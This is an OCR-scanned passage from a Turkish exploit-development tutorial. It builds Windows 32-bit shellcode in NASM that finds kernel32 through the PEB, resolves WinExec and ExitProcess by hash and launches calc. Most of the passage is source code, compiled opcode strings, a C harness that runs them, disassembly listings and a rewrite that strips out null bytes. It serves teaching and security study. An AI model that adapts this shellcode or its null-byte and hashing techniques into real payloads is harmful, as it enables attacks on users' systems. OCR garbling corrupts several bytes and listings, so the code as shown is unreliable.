alarak sonlandi. Aslinda ExitProcess veya benzeri bir fonksiyonla programi hatasiz bigimde
sonlandirabiliriz. Hem bu islemi gerceklestirmek hem de shellcode’umuzu daha modiiler hale getirmek
icin bir fonksiyonun adresini bulma ile ilgili kodumuzu bir fonksiyon gibi ¢agiracagiz. Tabi bizim
fonksiyonumuz konvansiyonlara uygun bir fonksiyon olmayacak, ancak ihtiyacimizi karsilayacak. Bu
sekilde ayni kodu tekrar kopyalamaya gerek kalmadan istedigimiz kadar fonksiyonun adresini
bulabilecegiz.

1. [BITS 32]

2o

3. kernel32_bul:

4. Xor ecx, ecx

5. mov esi, [fs:0x30] ; PEB adresi

6. mov esi, [esi + ©xOc] ; PEB LOADER DATA adresi

7. mov esi, [esi + Ox1lc] ; Baslatilma sirasina gore modiil listesinin baslangi¢ adresi

8.

9. bir_sonraki_modul:

10. mov ebx, [esi + ©x@8] ; Modiuliin baz adresi

11. mov edi, [esi + ©x20] ; Modil adi(unicode formatinda)

12. mov esi, [esi] ; esi = Modil listesinde bir sonraki modiil meta datalarinin bulundugu ad
res InInitOrder[X].flink(sonraki modul)

13. cmp [edi + 12*2], cl ; KERNEL32.DLL 12 karakterden olustugu i¢in 24. byte 1in null olup

olmadigini kontrol ediyoruz.Bu yontem olabilecek en giivenli ve jenerik ydntem degil, an
cak isimizi goriyor.

14. jne bir_sonraki_modul ; Eger 24. byte null degilse kernel32.dll ismini bulamamisiz deme
ktir

15.

16. push ebx ;Kernel32nin adresini stacke yaz

17. push 0x10121ee3 ;WinExec fonksiyon adinin hashi

18. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini dondiriir

19. add esp, 4

20. pop ebx ; Kernel32nin adresini tekrar ebx e yiikle

21. push @ ;calc metninin sonuna null karakter yerlestirmek i¢in stacke ©x00000000 yaziyoru
z

22. push 0x636C6163 ;calc metnini little endian formata uydurmak i¢in tersten yaziyoruz

23. mov ecx, esp ; calc metninin adresini ecx e yikle

24. push @ ; WinExec birinci parametre
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25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.

42.
43.
44.
45.
46.
a47.

48.
49.
50.
51.
52.
53.

54.
55.
56.

57.
58.

59.
60.
61.
62.
63.
64.
65.
66.

67.
68.

69.
70.

71.
72.
73.

74.
75.
76.
77.
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push ecx ; WinExec ikinci parametre

call eax ; WinExec fonksiyonu c¢agrilir

push ebx ; Kernel32nin adresini stacke yaz

push 0x3c3f99f8 ;ExitProcess fonksiyon adinin hashi

call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini dondiirir
push ©

call eax ;ExitProcess fonksiyonu ¢agrilir

; Fonksiyon: Fonksiyon hashlerini karsilastirarak fonksiyon adresini bulmak ig¢in.
; esp+8 de modil adresini, esp+4 te fonksiyon hashini alar

; Fonksiyon adresini eax ile dondirir

fonksiyon_bul:

mov ebp, [esp + 0x@8] ;Modil adresini al

mov eax, [ebp + ©@x3c] ;MSDOS basligini atliyoruz

mov edx, [ebp + eax + ©x78] ;Export tablosunun RVA adresini edx e yaziyoruz

add edx, ebp ;Export tablosunun VA adresini hesapliyoruz

mov ecX, [edx + ©x18] ;Export tablosundan toplam fonksiyon sayisini saya¢ olarak kullan
mak lizere kaydediyoruz

mov ebx, [edx + ©x20] ;Export names tablosunun RVA adresini ebx e yaziyoruz

add ebx, ebp ;Export names tablosunun VA adresini hesapliyoruz

fonksiyon_bulma_dongusu:

dec ecx ;Saya¢ son fonksiyondan baslayarak basa dogru azaltilar

mov esi, [ebx + ecx * 4] ;Export names tablosunda sirasi gelen fonksiyon adinin pointer
1nin VA adresini hesapliyoruz ve pointer 1 ESI a atiyoruz (pointer RVA formatinda)

add esi, ebp ;Fonksiyon pointerinin VA adresini hesapliyoruz

hash_hesapla:

xor edi, edi

Xxor eax, eax

cld ;lods instructioni ESI register ini yanlislikla asagi yonde degistirmesin diye emin
olmak i¢in kullaniyoruz

hash_hesaplama_dongusu:

lodsb ;ESI nin isaret ettigi mevcut fonksiyon adi harfini (yani bir bytei) AL registeri
na yiikliiyoruz ve ESI yi bir artiriyoruz

test al, al ;Fonksiyon adinin sonuna gelip gelmedigimizi test ediyoruz

jz hash_hesaplandi ;AL register degeri @ ise, yani fonksiyon adini tamamlamissak hesapl
amay1l sona erdiriyoruz

ror edi, Oxf ;Hash degerini 15 bit saga rotate ettiriyoruz

add edi, eax ;Hash degerine mevcut karakteri ekliyoruz

jmp hash_hesaplama_dongusu

hash_hesaplandi:

hash_karsilastirma:

cmp edi, [esp + 0x04] ;Hesaplanan hash degerinin stackte parametre olarak verilen fonks
iyon hash degeri ile tutup tutmadigini kontrol ediyoruz

jnz fonksiyon_bulma_dongusu

mov ebx, [edx + ©x24] ;Fonksiyonun adresini bulabilmek i¢in Export ordinals tablosunun
RVA adresini tespit ediyoruz

add ebx, ebp ;Export ordinals tablosunun VA adresini hesapliyoruz

mov cX, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasini elde ediyoruz (ordinal numarasi
2 byte)

mov ebx, [edx + ©@x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz

add ebx, ebp ;Export adres tablosunun VA adresini hesapliyoruz

mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasini kullanarak fonksiyon adresinin
RVA adresini tespit ediyoruz

add eax, ebp ;Fonksiyonun VA adresini hesapliyoruz

fonksiyon_bulundu:
ret
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Daha 6nce de soyledigim gibi shellcode’umuzu derlemek icin NASM assembler’ini da kullanabiliriz.
Ancak bunun icin Assembly dosyasinin basina [BITS 32] yazmamiz ve fs register’i ile eristigimiz alani daha
farkh ([fs:0x30] seklinde) ifade etmemiz gerekecektir.

Simdi daha dnce kullandigimiz assembly kodunu biraz daha modiiler hale getirerek ve ExitProcess
API’sini de ¢agiracak bicimde diizenleyerek NASM assembler’l ile derleyelim. Boylece shellcode’umuz
cahistiktan sonra test uygulamamiz hata almadan sonlanacak. Tabi ayni durum hafiza alanina kendi
kodumuzu yazdigimizda da gerceklesecek.

Shellcode’umuzdaki temel degisikliklere goz atarsak:

e Oncelikle nasm assembler’i icin gerekli olan degisiklikleri, yani uygulamanin ilk satiri olarak [BITS
32] ifadesini eklemeyi ve FS register’inin kullaniminda Visual Studio’dan farkli olan diizenlemeyi
yaptik. ilk satir NASM assembler’ina derleme isleminin 32 bit’lik kod tiretmesi gerekliligini
belirtmek icin eklendi. NASM assembler’inin dntanimli Grettigi kod 16 bitlik kod oldugu icin bu
gerekli. FS register’i ile ilgili dUzenlemeyi ise assembler’in bu formati kabul etmesi dolayisiyla
yaptik.

e Visual Studio ile gelistirdigimiz shellcode’umuzda sadece WinExec fonksiyonunun adresine
ihtiyac duydugumuzdan fonksiyonun adresini bulan kod boélimini bir defa calistirmamiz yeterli
oldu. Ancak NASM ile derleyecegimiz kodumuzda ExitProcess fonksiyonunu da
kullanacagimizdan bu fonksiyonun adresini bulmak icin de ayni kod bolimana kullanmamiz
gerekecek. Bu ylizden fonksiyon_bul fonksiyonunu kodumuzda tanimladik ve bu fonksiyonu iki
defa cagirdik. Kod icerigi acisindan en 6nemli fark burada.

Simdi kodumuzu derleyelim, derlenmis kodunu Hexyaz ruby script’imizle C stringine cevirelim ve test
uygulamamiz icinde test edelim.

File Edit Search View Encoding Language Settin B X
OB E s LSl 4 Db el v ol i BBun O
@"Q-\ Ji » Computer » Windows7_0S(C:) » ESG » ShellcodeASM = ‘&,H Search ShelicodeASM 2|
Bshelcodeasm &|

cmp [edi + 12%2], cl ; K| Organizew  Includeinlibrary v Sharewith v Newfolder 4 v [l @ [jrol ediyoruz.Bu*

jne bir_sonraki_modul ; 8- nName & Date modified Type Size

[ el e

® Hexyazrb 18.04.2014 19:27 Ruby File 1KB
_| Shellcode 01.05.2014 18:02 File 1KB
£ Shellcode.asm 26.04.2014 16:00 Assembler Source 4KB

push ebx ;Kernel32nin ad
push 0x10121ee3 ;WinExec
call fonksiyon bul ;jeax
add esp, 4

g
e
0
=3
Q
U
—
m

push 0x636CH
mov ecx,
push 0 ;
push ecx ;
call eax ;
push ebx ;
push 0x3c3
call fonksi
push
call eax ;E

AL e WNHO WD WS W
o
o
o
»®
g

W N o

; Fonksiyon
; esp+8 de

; Fonksiyon %
fonksiyon bul:

mov ebp, [esp + Ux05] ;Modill adresini al

mov eax, [ebp + (xic] ;MSDOS baslidini atliyoruz |

« vn ] '

WWWWwWwWwwwwonRDRNNNNRDN R -
o O > o W

® <

guag file length : 4005 lines: 77 Ln:77 Col:4 Sel:2294 |42 Dos\Windows ANSI INS
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N test - Microsoft Visual Studio Express 2013 for Windows Desktop

FILE

EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS

f@-o i@ M |9 - -] b LoclWindows Debugger - [Release ~||Win32 e EE(R e,
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Solution Explorer

com| e-2dim o &=

unsigned char shellcode[] =
"\x31\xc9\x64\x8b\x35\x30\x00\x00"
“\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"
"\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
"\x4f\x18\x75\xf3\x53\x68\xe3\xle"
"\x12\x10\xe8\x21\x08\x00\x00\x83"
"\xc4\x04\x5b\x6a\x00\x68\x63\x61"
"\x6c\x63\x89\xel\x6a\x00\x51\xff"
"\xd@\x53\x68\xf8\x99\x3f\x3c\xe8"
"\x04\x008\x00\x08\x6a\x00\xff\xde"
"\x8b\x6¢\x24\x08\x8b\x45\x3c\x8b"
"\x54\x05\x78\x01\xea\x8b\x4a\x18"
"\x8b\x5a\x20\x01\xeb\x49\x8b\x34"
"\x8b\x01\xee\x31\xff\x31\xc@\xfc"
"\xac\xSA\xce\x74\x67\xc1\x(f\xgg
"\x01\xc7\xeb\xf4\x3b\x7c\x24\xi
"\x75\xe3\x8b\x5a\x24\x01\xeb\x66"
"\x8b\x@c\x4b\x8b\x5a\x1c\x01\xeb"

"\x8b\x04\x8b\x01\xe8\xc3";
Ziint main(int argc, char **argyv)

int(*f)();
f = (int(*)()) shellcode;
nt) (*F(O;

Search Solution Explorer (Ctri+5)
3] Solution 'test' (1 project)
4 test
5 External Dependencies
4/ Header Files
9 Resource Files

@quora || or || xor
© Dword =
© Word
OByte ‘ Not | And

s ][ ]

bsg\kaynak\test.c
ode

Bu defa calculator uygulamasi calisti ve test uygulamamiz da ExitProcess ¢agrildigindan hata almadan

sonlandi.

btris
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VIIl. KOTU KARAKTERLERDEN KURTULMA

ExitProcess fonksiyonunu da galistirdigimiz shellcode’umuzun barindirdigi opcode’lari Hexyaz script’imiz
ile bir dosyaya onaltilik formatta yazalim.

Notepad++ bu dosyayi acalim ve icindeki null byte’lari inceleyelim.

File Edt Search View Encoding Language Settings Macro Run Plugins Window ? X
HeBEB RS 4dDRiaelngl s BRS1EDEAICEEE G| =a

|ESaeesm ] Hopcodext B3
| "\x31\xc9\x64\x8b\x35\x30\x00\x00" |
"\x00\x8b\x76\x0c\x8b\x7e\x1lc\x8b"
"\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
"\x4f\x18\x75\x£3\x53\x68\xe3\xle"
"\x12\x10\xe8\x21\K00\x00'\x00\x83"
"\xc4\x04\x5b\x6a\X00\L 58\x63\x61"
"\x6c\x63\x89\xel\x6a\X00\x51\xLL"
"\xd0\x53\x68\xfB\x99\x3f\x3c\xeB8"

9 "\x04\x00\x00\x00\x6a\x00\xff\xd0"
10 "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"
11 "\x54\x05\x78\x01\xea\x8b\x4a\x18"
12 "\xB8b\x5a\x20\x01\xeb\x49\x8b\x34"
13 "\x8b\x01\xee\x31\xff\x31\xc0\xfc"
14 ™\xac\x84\xcO0\x74\x07\xcl\xcf\x0L"
15 "\x01\xc7\xeb\xf4\x3b\xT7c\x24\x04"
16 "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"
17 "\xBb\x0c\x4b\x8b\x5a\x1c\x01\xeb"
18 "\x8b\x04\x8b\x01\xe8\xc3"

[N Y. S E, IR P S

20 Toplam byte sayisi:... 142

Normal text file length : 670 lines: 20 Ln:5 Col:22 Sel:3|0 Dos\Windows ANSlas UTF-8 INS

Shellcode’umuzu inceledigimiz de icinde 12 adet null byte oldugunu gériyoruz. Bildiginiz gibi null
byte’lar C string’leri igin string sonu anlamina geliyor. Eger shellcode’umuzu C string fonksiyonlarindan
biri araciligi ile hafizaya yazdiracak olursak shellcode’umuzun null byte’tan sonraki kismi hafizaya
kopyalanamayacaktir. Bu nedenle eger bu tir bir acikhg exploit edeceksek null byte’lardan kurtulmamiz
lazim.
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"\x8b\x01\xee\x31I\xff\x31\xc0\xfc"
1 "\Xac\x84\XcO\XTA\R0T\XCI\XCI\X0L"
15 "\x01l\xc7\xeb\xfa\x3b\x7c\x24\x04"

"\x75\ge3\xBb\x5a\824\x01\xeb\x66"
17 "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"
18 "\x8b\x04\x8b\x01\xef\xc3"

20 Toplam byte sayisi:... 142

L R E— . . (- =)
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=@ =

]wélﬁ =

Nomal text file

length ;670 _lines : 20

Ln:5 Col:22 5el:3|0

Dos\Windows

ANSI a5 UTF-8

INS

1. 00000000 31C9

2. 00000002 648B3530000000
3. 00000009 8B760C

4. 0000000C 8B761C

5. 0000000F 8B5EQS8

6. 00000012 8B7E20

7. 00000015 8B36

8. 00000017 384F18

9. 0000001A 75F3

10. 0000001C 53

11. 0000001D 68E31E1210
12. 00000022 E821000000
13. 00000027 83C404

14. 0000002A 5B

15. 0000002B 6A00

16. 0000002D 6863616C63
17. 00000032 89E1

18. 00000034 6A00

19. 00000036 51

20. 00000037 FFDO

21. 00000039 53

22. 0000003A 68F8993F3C
23. 0000003F E804000000
24. 00000044 6A00

25. 00000046 FFDO

26. 00000048 8B6C2408
27. 0000004C 8B453C

28. 0000VVAF 8B540578
29. 00000053 O1EA

30. 00000055 8B4A18

31. 00000058 8B5A20

32. 0000005B O1EB

33. 0000005D 49

34. 00000OS5E 8B348B

35. 00000061 OI1EE

36. 00000063 31FF

37. 00000065 31CO

38. 00000067 FC

39. 00000068 AC

40. 00000069 84C0

XOr ecx,ecx

mov esi,[dword fs:0x30]
mov esi,[esi+@xc]

mov esi,[esi+0xlc]
mov ebx, [esi+0x8]

mov edi,[esi+0x20]
mov esi,[esi]

cmp [edi+@x18],cl

jnz oxf

push ebx

push dword ©x10121ee3
call dword 0x48

add esp,byte +0x4

pop ebx

push byte +0x0

push dword 0x636c6163
mov ecx,esp

push byte +0x0

push ecx

call eax

push ebx

push dword ©x3c3f99f8
call dword 0x48

push byte +0x0

call eax

mov ebp, [esp+0x8]

mov eax, [ebp+0x3c]
mov edx, [ebp+eax+0x78]
add edx,ebp

mov ecx, [edx+0x18]
mov ebx, [edx+0x20]
add ebx,ebp

dec ecx

mov esi,[ebx+ecx*4]
add esi,ebp

xor edi,edi

Xor eax,eax

cld

lodsb

test al,al

h+l_| : I.( BTRISK BiLGi GUVENLIGI VE BT YONETISIM HiZMETLERI



BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
Exploit Shellcode Gelistirme

41. 0000006B 7407 jz ox74

42. 0000006D C1CFOF ror edi,byte oxf
43. 00000070 01C7 add edi,eax

44.. 00000072 EBF4 jmp short 0x68
45. 00000074 3B7C2404 cmp edi, [esp+0x4]
46. 00000078 75E3 jnz ©x5d

47. 0000007A 8B5A24 mov ebx, [edx+0x24]
48. 0000007D O1EB add ebx,ebp

49. 000VOO7F 668BOC4B mov cx, [ebx+ecx*2]
50. 00000083 8B5A1C mov ebx, [edx+0x1c]
51. 00000086 O1EB add ebx,ebp

52. 00000088 8B048B mov eax, [ebx+ecx*4]
53. 0000008B O1ES8 add eax,ebp

54. 0000008D (3 ret

Ndisasm komutuyla derlenmis olan kodu disassemble ederek null byte iceren opcode’lara neden olan
instruction’lari inceleyelim.

e 2.Satirda Process Environment Block’un adresini edindigimiz satir (648B3530000000 mov
esi,[dword fs:0x30])

e 0 12. Satirda Hex 21 byte ilerideki bir fonksiyonu ¢agirdigimiz satir (bu satir Assembly
kaynak kodumuzda 18. Satirdaki fonksiyon_bul fonksiyonunu ¢agirdigimiz satira denk disiyor.
Disassembler’in elinde sembol bilgisi olmadigindan fonksiyon adini kullanamiyor, ancak
fonksiyonun baslangi¢ adresini bizim icin hesaplayarak disassemble edilmis olan kod bolimiinde
gosteriyor. Buna gore fonksiyon_bul fonksiyonu Hex 48 adresinden basliyor.) (E821000000
call dword 0x48)

e 0 15. Satirda calc kelimesinin sonunu ifade edecek null byte’i stack’e yazmak igin
kullandigimiz push 0 instruction’i (6A00 push byte +0x0)

e 0O 18. Satirda WinExec fonksiyonuna verdigimiz birinci parametre igin kullandigimiz push 0
instruction’1 (6A00 push byte +0x0)

e 23, Satirda Hex 4 byte ilerideki bir fonksiyonu ¢agirdigimiz satir. Burada tekrar fonksiyon_bul
fonksiyonunu c¢agiriyoruz. (Shellcode.asm’de bu satirin 29. Satira denk dustiglini goriyoruz.
Hatirlarsaniz 6nce WinExec’in daha sonra da ExitProcess’in adreslerini bulmak icin fonksiyon_bul
fonksiyonunu ¢agirmigtik.)

e 24, Satirda ExitProcess fonksiyonunun parametresi olarak stack’e yazdigimiz O degeri igin
kullandigimiz push 0 satiri

Birinci instruction ile ilgili problemi 3 farkl instruction’la ortadan kaldirabiliriz.

e Oncelikle “xor ebx,ebx” instruction’i ile EBX register’ini sifirlayabiliriz.
e Daha sonra “mov bl, 0x30” instruction’i ile BL register’ina 30 degerini atayabiliriz.
e Son olarak “mov eax, [fs:ebx]” instruction’i ile null byte icermeyen opcode’lar iretebiliriz.

Fonksiyon_bul fonksiyonunu ¢agirdigimiz instruction’larda ilerideki bir adresi call near instruction’rile
cagirdigimiz ve relative adres 32 bit oldugu icin bolca sifirimiz var. Bilgisayar aritmetiginde bir rakamin
negatif karsiligi two’s complement denilen yontemle hesaplanir. Bu yéntemin detayina girmeyecegim
ama ornegin 21 byte ilerideki bir relative adresi ifade etmeye ¢alisdigimizda HEX “00000015”, 21 byte
gerideki bir relative adresi yani -21’i ifade etmeye calistigimizda HEX “FFFFFFEB” rakami karsimiza
¢ikacaktir. Bu nedenle eger ¢agiracagimiz fonksiyonlar call instruction’indan daha énce olursa negatif bir
relative adresi cagiracagiz. Bu durumda call instruction’laridaki null byte’lardan da kurtulmus olacagiz.

I 55
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Push 0 instruction’larini cozmek gayet kolay. “xor ebx, ebx” ve “push ebx” instructionlari ile null byte
Gretmekten kurtulacagiz. Hatta daha 6nceden sifirlanmis bir register varsa lretecegimiz exploit
kodundan 1 byte daha tasarruf bile edebiliriz.

Null byte’lardan kacinmak icin kullanilabilecek daha pek ¢cok kodlama teknigi mevcut.

Simdi belirledigimiz tekniklerle shellcode’umuzun tekrar diizenlenmis halini inceleyelim.

[BITS 32]

kernel32_bul:

XOor ecx, ecx

Xxor ebx, ebx

mov bl, 0x30

mov esi, [fs:ebx] ; PEB adresi

mov esi, [esi + @x@c] ; PEB LOADER DATA adresi

9. mov esi, [esi + Ox1lc] ; Baslatilma sirasina gore modil listesinin baslangi¢ adresi

coOoNOUVT A WNBR

11. bir_sonraki_modul:

12. mov ebx, [esi + 0x08] ; Modiiliin baz adresi

13. mov edi, [esi + 0x20] ; Modiil adi(unicode formatinda)

14. mov esi, [esi] ; esi = Modiil listesinde bir sonraki modiil meta datalarinin bulundugu ad
res InInitOrder[X].flink(sonraki modul)

15. cmp [edi + 12*2], cl ; KERNEL32.DLL 12 karakterden olustugu i¢in 24. byte in null olup
olmadigini kontrol ediyoruz.Bu yontem olabilecek en giivenli ve jenerik yontem degil, an
cak isimizi goriyor.

16. jne bir_sonraki_modul ; Eger 24. byte null degilse kernel32.dll ismini bulamamisiz deme
ktir

17.

18. jmp ana_fonksiyon

19.

20. ; Fonksiyon: Fonksiyon hashlerini karsilastirarak fonksiyon adresini bulmak i¢in.

21. ; esp+8 de modul adresini, esp+4 te fonksiyon hashini alir

22. ; Fonksiyon adresini eax ile dondiirir

23. fonksiyon_bul:

24. mov ebp, [esp + Ox08] ;Modil adresini al

25. mov eax, [ebp + ©x3c] ;MSDOS basligini atliyoruz

26. mov edx, [ebp + eax + ©0x78] ;Export tablosunun RVA adresini edx e yaziyoruz

27. add edx, ebp ;Export tablosunun VA adresini hesapliyoruz

28. mov ecx, [edx + ©x18] ;Export tablosundan toplam fonksiyon sayisini saya¢ olarak kullan
mak lizere kaydediyoruz

29. mov ebx, [edx + ©x20] ;Export names tablosunun RVA adresini ebx e yaziyoruz

30. add ebx, ebp ;Export names tablosunun VA adresini hesapliyoruz

31.

32. fonksiyon_bulma_dongusu:

33. dec ecx ;Sayac¢ son fonksiyondan baslayarak basa dogru azaltilar

34. mov esi, [ebx + ecx * 4] ;Export names tablosunda sirasi gelen fonksiyon adinin pointer
1nin RVA adresini hesapliyoruz

35. add esi, ebp ;Fonksiyon pointerinin VA adresini hesapliyoruz

36.

37. hash_hesapla:

38. xor edi, edi

39. xor eax, eax

40. cld ;lods instructioni ESI register 1ini yanlislikla asagi yonde degistirmesin diye emin

olmak i¢in kullaniyoruz. Shellcode'umuzu yerlestirecegimiz proses i¢inde direction fla
g'inin ne olacagini bilemeyiz

41.

42. hash_hesaplama_dongusu:

43. lodsb ;ESI nin isaret ettigi mevcut fonksiyon adi harfini (yani bir bytei) AL registeri
na yiikliiyoruz ve ESI yi bir artiriyoruz

44. test al, al ;Fonksiyon adinin sonuna gelip gelmedigimizi test ediyoruz

45. jz hash_hesaplandi ;AL register degeri @ ise, yani fonksiyon adini tamamlamissak hesapl
amay1l sona erdiriyoruz

46. ror edi, Oxf ;Hash degerini 15 bit saga rotate ettiriyoruz

i
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47. add edi, eax ;Hash degerine mevcut karakteri ekliyoruz

48. jmp hash_hesaplama_dongusu

49.

50. hash_hesaplandi:

51.

52. hash_karsilastirma:

53. cmp edi, [esp + Ox04] ;Hesaplanan hash degerinin stackte parametre olarak verilen fonks
iyon hash degeri ile tutup tutmadigini kontrol ediyoruz

54. jnz fonksiyon_bulma_dongusu

55. mov ebx, [edx + @x24] ;WinExec fonksiyonunun adresini bulabilmek i¢in Export ordinals t
ablosunun RVA adresini hesapliyoruz

56. add ebx, ebp ;Export ordinals tablosunun VA adresini hesapliyoruz

57. mov cx, [ebx + 2 * ecx] ;WinExec fonksiyonunun Ordinal numarasini elde ediyoruz (ordina
1 numarasi 2 byte)

58. mov ebx, [edx + ©x1c] ;Export adres tablosunun RVA adresini hesapliyoruz

59. add ebx, ebp ;Export adres tablosunun VA adresini hesapliyoruz

60. mov eax, [ebx + 4 * ecx] ;WinExec fonksiyonunun ordinal numarasini kullanarak fonksiyon
adresinin RVA adresini hesapliyoruz

61. add eax, ebp ;WinExec fonksiyonunun VA adresini hesapliyoruz

62.

63. fonksiyon_bulundu:

64. ret

65.

66. ; ANA FONKSIYON

67. ; Kernel32 nin adresi bulunduktan sonraki islemler burada gerc¢eklestiriliyor

68. ; Call instructionlari negatif adresleri ¢agirdigindan null karakter sorununu ¢oziiyoruz

69. ana_fonksiyon:

70.

71. push ebx ;Kernel32nin adresini stacke yaz

72. push 0x10121ee3 ;WinExec fonksiyon adinin hashi

73. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini dondiirir

74. add esp, 4

75. pop ebx ; Kernel32nin adresini tekrar ebx e yiikle

76. xor edx, edx

77. push edx ;calc metninin sonuna null karakter yerlestirmek i¢in stacke ©x00000000 yaziyo
ruz

78. push 0x636C6163 ;calc metnini little endian formata uydurmak i¢in tersten yaziyoruz

79. mov ecx, esp ; calc metninin adresini ecx e yikle

80. xor edx, edx

81. push edx ; WinExec birinci parametre

82. push ecx ; WinExec ikinci parametre

83. call eax ; WinExec fonksiyonu c¢agrilir

84. push ebx ; Kernel32nin adresini stacke yaz

85. push 0x3c3f99f8 ;ExitProcess fonksiyon adinin hashi

86. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini dondiriir

87. xor edx, edx

88. push edx

89. call eax ;ExitProcess fonksiyonu ¢agrilir

Process Environment Block’un adresini bulmak icin kullandigimiz kodu yeniden dizenledik.

Bu kod ile orjinal assembly kodumuz arasindaki en dnemli fark call relative instruction’larini geriye dogru
yapabilmek icin kodun akisini jmp ana_fonksiyon satiri ile kodun son bolimiine dogru yonlendirmek.
Call satirlari bu boéliimden daha yukarida bulunan fonksiyon_bul fonksiyonunu ¢agirdiginda tretilen
relative adres degerleri negatif olacak ve bilgisayar aritmetigi sayesinde null byte barindirmayacak.

Push 0 satirlarini da en asagida xor edx, edx ve push edx satirlariyla degistirdik.
Yeni shellcode’umuzu NASM ile derleyerek Uretilecek opcode’lari inceleyelim.

Kodumuzu disassemble ederek opcode’larimizin null byte icerip icermediklerinden emin olalim.

i
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@u-‘, » Computer » Windows7_OS(C:) » ESG » ShellcodeNullBytesizASM ~ [ [ Seorch ShelicodeNulEytes

Organize v Includeinlibrary »  Sharewith »  New folder = A @

= D Shell e u NullByte

3 1lcode!
&

‘ 3 items

1. 00000000 31C9 XOor ecx,ecx

2. 00000002 31DB xor ebx,ebx

3. 00000004 B330 mov bl,0x30

4. 00000006 648B33 mov esi,[fs:ebx]
5. 00000009 8B760C mov esi,[esi+@xc]
6. 0000000C 8B761C mov esi,[esi+0xlc]
7. OOO0OOOF 8BSEOS8 mov ebx, [esi+0x8]
8. 00000012 8B7E20 mov edi,[esi+0x20]
9. 00000015 8B36 mov esi,[esi]

10. 00000017 384F18 cmp [edi+@x18],cl
11. 0000001A 75F3 jnz oxf

12. 0000001C EB46 jmp short 0x64

13. O0O0OO1E 8B6C2408 mov ebp, [esp+0x8]
14. 00000022 8B453C mov eax, [ebp+0x3c]
15. 00000025 8B540578 mov edx, [ebp+eax+0x78]
16. 00000029 O1EA add edx,ebp

17. 0000002B 8B4A18 mov ecx, [edx+0x18]
18. 0000VO2E 8B5A20 mov ebx, [edx+0x20]
19. 00000031 ©O1EB add ebx,ebp

20. 00000033 49 dec ecx

21. 00000034 8B348B mov esi,[ebx+ecx*4]
22. 00000037 O1EE add esi,ebp

23. 00000039 31FF xor edi,edi

24. 0000003B 31CO Xor eax,eax

25. 0000003D FC cld

26. 000RO3E AC lodsb

27. 0000003F 84C0O test al,al

28. 00000041 7407 jz ox4a

29. 00000043 CI1CFOF ror edi,byte Oxf
30. 00000046 01C7 add edi,eax

31. 00000048 EBF4 jmp short @x3e

32. 0000PR4A 3B7C2404 cmp edi, [esp+0x4]
33. 000OOR4E 75E3 jnz ©x33

34. 00000050 8B5A24 mov ebx, [edx+0x24]
35. 00000053 O1EB add ebx,ebp

36. 000055 668BOCAB mov cX, [ebx+ecx*2]
37. 00000059 8BS5A1C mov ebx, [edx+0x1c]
38. 0000RO5C O1EB add ebx,ebp

39. 000VVOSE 8B0O48B mov eax, [ebx+ecx*4]
40. 00000061 ©O1E8 add eax,ebp
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41. 00000063 C3 ret

42. 00000064 53 push ebx

43. 000065 68E31E1210 push dword ©x10121ee3
44. 0000OO6A EBAFFFFFFF call dword @xle

45. 00000O6F 83C404 add esp,byte +0x4

46. 00000072 5B pop ebx

47. 00000073 31D2 xor edx,edx

48. 00000075 52 push edx

49. 0000076 6863616C63 push dword 0x636c6163
50. 0000007B 89E1 mov ecx,esp

51. 0000007D 31D2 xor edx,edx

52. ©0000RO7F 52 push edx

53. 00000080 51 push ecx

54. 00000081 FFDO call eax

55. 00000083 53 push ebx

56. 00000084 68F8993F3C push dword ©x3c3f99f8
57. 00000089 EB9OFFFFFF call dword @xle

58. 0000PO8E 31D2 xor edx,edx

59. 00000090 52 push edx

60. 00000091 FFDO call eax

Exploit Shellcode Gelistirme

Gorduglniz gibi yeni kodumuz derlendiginde null byte iceren bir opcode Uretilmiyor.

Bu 6rnegimizde kotl karakter olarak sadece null byte’a odaklandik. C string fonksiyonlari agisindan

newline karakteri de null byte karakteri ile ayni nedenle kotl karakter olarak sayilabilir.

Bunlarin disinda hedeflenen uygulama algoritmasina ve uygulamada kullanilan fonksiyonlara bagli

olarak farkli kotl karakterler de bulunabilir. Bu karakterleri tespit etmenin en iyi yolu shellcode hafizaya
yazildiktan sonra shellcode’un yazilmasi sirasinda herhangi bir kesilme olup olmadiginin ve shellcode’un
herhangi bir bolimandn bozulup bozulmadiginin incelenmesi olacaktir.

Bu asamadan sonra tespit edilen kotl karakterlerden kurtulmak igin veya uygulama algoritmasina uygun
karakterler iceren shellcode Gretmek igin gerekli calismalar yapilmahdir.

Bu bolimi sonlandirmadan dnce shellcode’un biykliginin de ¢cok 6nemli olabilecegi durumlar
oldugunu tekrar hatirlatalim. Burada gelistirdigimiz shellcode 6rnegi blyikliik agisindan daha da
optimize edilebilir.

Genel olarak shellcode’un jeneriklestiriimeye calistiriimasi onu biy(tici etki yapiyor. Ama uygulamaya
Ozel shellcode gelistirildiginde de her seferinde yeniden uyarlama ihtiyaci ortaya ¢ikiyor.

Metasploit shellcode’larini inceledigimizde moddler ve jenerik (yani birden fazla Windows isletim
sistemi platformunu destekleme) ihtiyacinin bulunmasi nedeniyle olabileceginden daha buyiik
olduklarini gorebiliriz. Shellcode buyikliginin problem olabilecegi durumlarda kendi shellcode’unuzu
yazabilmeniz size avantaj saglayacaktir.
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IX. SHELLCODE KODLAMA (ENCODING)

Shellcode’umuzdan gelistirdigimiz uygulama ifadelerini degistirerek null byte’lari yok etmeyi basardik.
Ancak bu yontem tek yol degil. Bir baska yontem de shellcode’umuzu kotl karakter icermeyecek

bicimde kodlamak, yani encode etmek olabilir.

Encode edilmis bir kod tabi ki hafizaya yiiklendikten sonra decode edilmeli ve o sekilde galistiriimalidir.
Dolayisiyla dnceden encode edilmis bir shellcode’u decode edecek bir koda ihtiyacimiz olacaktir.

